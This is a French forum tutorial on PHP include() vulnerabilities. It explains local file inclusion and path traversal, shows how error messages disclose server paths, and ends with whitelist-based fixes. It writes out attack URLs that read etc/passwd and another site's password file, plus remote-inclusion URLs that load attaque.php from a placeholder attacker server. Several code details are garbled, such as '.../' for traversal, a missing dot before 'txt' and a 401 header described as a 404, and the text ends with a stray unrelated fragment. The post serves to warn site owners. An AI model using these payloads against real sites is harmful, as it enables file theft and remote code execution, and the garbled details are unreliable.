Je me suis entêté a vous expliquer quelques failles de php avec sa fonction Include:
Le php permet de manière très souple la manipulation de fichiers sur un site internet (copier, coller, lire, uploader, télécharger, modifier etc...) mais niveau sécurité, c'est pas top tout le temps...
La faille include() :
La fonction include(argument); permet par exemple d' ouvrir une page web dans une autre. Cette page est définie par l' argument dans la fonction. Ca va jusque là ?

-Remarque :
La fonction include_once(argument) fonctionne comme include(argument) au détail prêt qu'elle n'inclu qu'une seule fois le fichier, nous ne la distinguerons pas de include()Présentation de la fonction :
La page principale d' un site sur internet et le plus souvant comme ceci : http://www.siteweb.com/index.php : c'est donc la page index du site, soit la page d'accueil.
Si à ce stade on clique sur un lien et que ont regarde de prêt l' adresse url de la nouvelle page (http://www.siteweb.com/index.php?page=news), on remarque un lien entre la page index.php et news.
Ce lien est une inclusion. En effet le fichier news.php consultable à cette adresse http://www.siteweb.com/news.php, à été inclue dans la page index.php . Donc, cette dernière doit contenir une ligne de code ressemblant normalement à cela :
Code:
- Code: Tout sélectionner
<?php
include('news.php');
?>
Ici l'include se fait sur un fichier précis, en l'occurence news.php.
Une autre possibilité est d'inclure des fichiers grâce à une variable qui recevra en argument le nom du fichier à inclure. Voici quelques façon d' inclure un fichier avec include() en utilisant une variable :
Code:
- Code: Tout sélectionner
<?php include($variable); ?>
OU
- Code: Tout sélectionner
<?php include($variable."html"); ?>
OU
- Code: Tout sélectionner
<?php include("./repertoire_du_site/".$variable); ?>
OU
- Code: Tout sélectionner
<?php include($variable."/repertoire_du_site/index.php"); ?>
Prenons la page http://www.siteweb.com/article.php?page=news et intéressons nous à son adresse, celle-ci nous indique que la variable permettant d'inclure le fichier est page. Le code de la page article.php contient donc une ligne ressemblant à ceci :
Code:
- Code: Tout sélectionner
<?php
include($page.'txt');
?>
Le fichier inclus dans l' exemple est news.txt.
Dans le premier exemple nous définissons en dur le fichier à inclure alors que dans le second, une variable de définie. Dans ce dernier cas il est donc possible de modifier - méthode HTTP_GET (c' est à dire directement dans une url ) - la valeur de la variable. C' est ici que se situe donc la faille.
Recherche et mise en évidence de la faille :
Il faut dans un premier temps, chercher à mettre en évidence la faille dans le site. Pour cela il faut chercher une variable d'inclusion faillible.
En reprenant l'exemple précédent, nous remarquons la présence d' une variable nommée page ($page dans le code source). A ce stade nous ne pouvons qu'émettre l' hypothèse que l'include est déclaré de cette manière :
Code:
- Code: Tout sélectionner
<?php
include($page);
?>
La vérification se fait en entrant une valeur insignifiante dans la variable "page" en manipulant l' adresse url http://www.siteweb.com/article.php? … insignifiante . Un message d' erreur ne tarde pas à nous indiquer le filtre appliqué à la variable.
- Code: Tout sélectionner
Code:
Warning: main(valeur_insignifiante.txt): failed to open stream: No such file or directory in /web/www/siteweb/www/article.php on line 45
Warning: main(): Failed opening 'valeur_insignifiante.txt' for inclusion (include_path='.../include') in /web/www/siteweb/www/article.php on line 45
Trois informations nous sont ainsi données :
=> Le fichier à inclure est initialement situé sur le repertoire du site "/www/" (l'index du site)
=> le fichier à inclure doit avoir.txt comme extension
=> Nous avons obtenons le chemin du site sur le serveur "/web/www/siteweb/www/" (faille nommée path disclosure, découverte de chemin)
Nous pouvons maintenant rectifier notre hypothèse, le code php dans article.php est donc :
Code:
- Code: Tout sélectionner
<?php
include($page.'txt');
?>
Exploitation de la faille de include() de manière locale :
Nous avons vu que dans la fonction include(argument) l' argument peut être une variable modifiable par tout le monde ce qui rend le site vulnérable. Cette variable peut permettre d'inclure d' autre fichiers initialement prévus par le webmaster et donc de dévoiler des informations confidentielles ou d' utiliser des fichiers de façon contournée.
Nous avons vu plus haut que le fichier article.php contient une variable $page qui permet d' inclure des fichiers de type .txt.
Emettons l' hypothèse de la présence d' un fichier news1.txt. Pour vérifier il suffit de saisir l' adresse suivante http://www.siteweb.com/article.php?page=news1.txt
Mais cette variable peut permettre de se déplacer dans les repertoires du site. Le script article.php est dans le répertoire racine du site ("/www/").
Cette adresse http://www.siteweb.com/article.php? … ls/readme, nous permet d'éditer le fichier readme.txt se trouvant dans le répertoire outils, qui se trouve dans le répertoire racine du site. Par contre l' adresse http://www.siteweb.com/article.php?page=.../readme, permet de sortir du répertoire racine du site et de lire le fichier readme.txt.
Pour descendre dans l' arborescence des répertoires vous devez utilisez .../
Mais si le serveur hébergeant le site le permet, on peut inclure des fichiers du serveur. En utilisant le path vu plus haut, nous connaissons le chemin absolu du site, qui est /web/www/siteweb/www/.
Exemple :
Code:
- Code: Tout sélectionner
http://[siteweb]/script.php?variable=/web/www/autre_site.com/www/password.txt
Ou encore
- Code: Tout sélectionner
http://[siteweb]/script.php?variable=etc/passwd
Par ces méthodes il est donc possible de lire des fichiers et les utiliser en les contournant de leur premier objectif. Mais la faille include() permet aussi d'inclure des fichiers distants c'est à dire des fichiers ne se situant pas sur le site faillible.
Exploitation de la faille include() de manière distant :
La fonction include(argument) permet d'inclure des fichiers se trouvant sur d'autres sites ou sur un serveur FTP. L'intérêt ici est de pouvoir avoir une large panoplie de fonctionnalités définies par les fichiers que l'on inclut.
Jusqu'ici ces fichiers étaient sur le site web. Si l'on inclut un fichier distant, comme par exemple un fichier php, il sera donc sur la page du site et interprété par le serveur du siteweb.
Prenons un exemple général : la saisie de l'une de ces adresses sur un site faillible :
Code:
- Code: Tout sélectionner
http://[siteweb]/script.php?variable=http://[site_du_pirate]attaque.php
ou
- Code: Tout sélectionner
http://[siteweb]/script.php?variable=ftp://[ftp_du_pirate]attaque.php
Voilà donc tout ca pour vous dire de faire bien attention avec votre site. J'ai plusieurs solutions à vous proposer:
Inclure un fichier en dur:
- Code: Tout sélectionner
<?php
$page = $_GET['page'];
if(isset($page)){
if($page == 'accueil'){
include('accueil.php');
} elseif($page == 'news'){
include('news.php');
} elseif($page == 'autres'){
include('autres.php');
}
} else {
echo 'Désolé la page n\'existe plus';
}
?>
Ensuite si l'on ne veut pas que les pages accueil.php soient atteignables directement en http://www.siteweb.com/news.php
on peut ajouter cette ligne en début:
- Code: Tout sélectionner
<?php
$source = $_SERVER["SCRIPT_NAME"];
if($source == './news.php'){
// si on veut atteindre news.php directement, on renvoie une erreur 404
header('HTTP/1.0 401 Unauthorized');
}
?>
ou meme faire un array
:- Code: Tout sélectionner
<?php
$id=array(
'accueil'=>'accueil.php',
'news'=>'news.php',
'bonjour'=>'bonjour.php',
);
if(isset($_GET['id']) && array_key_exists($_GET['id'],$id))
include $id[$_GET['id']].'';
else
include 'accueil.php';
?>
Voilà je pense avoir tout dit.
Passez une bonne soirée à répertorier les includes de votre site XD
Bonnes chances et... bonnes fetes
Boulledogue










*
Si tu retires "la fonction include a", on est dans le contexte 
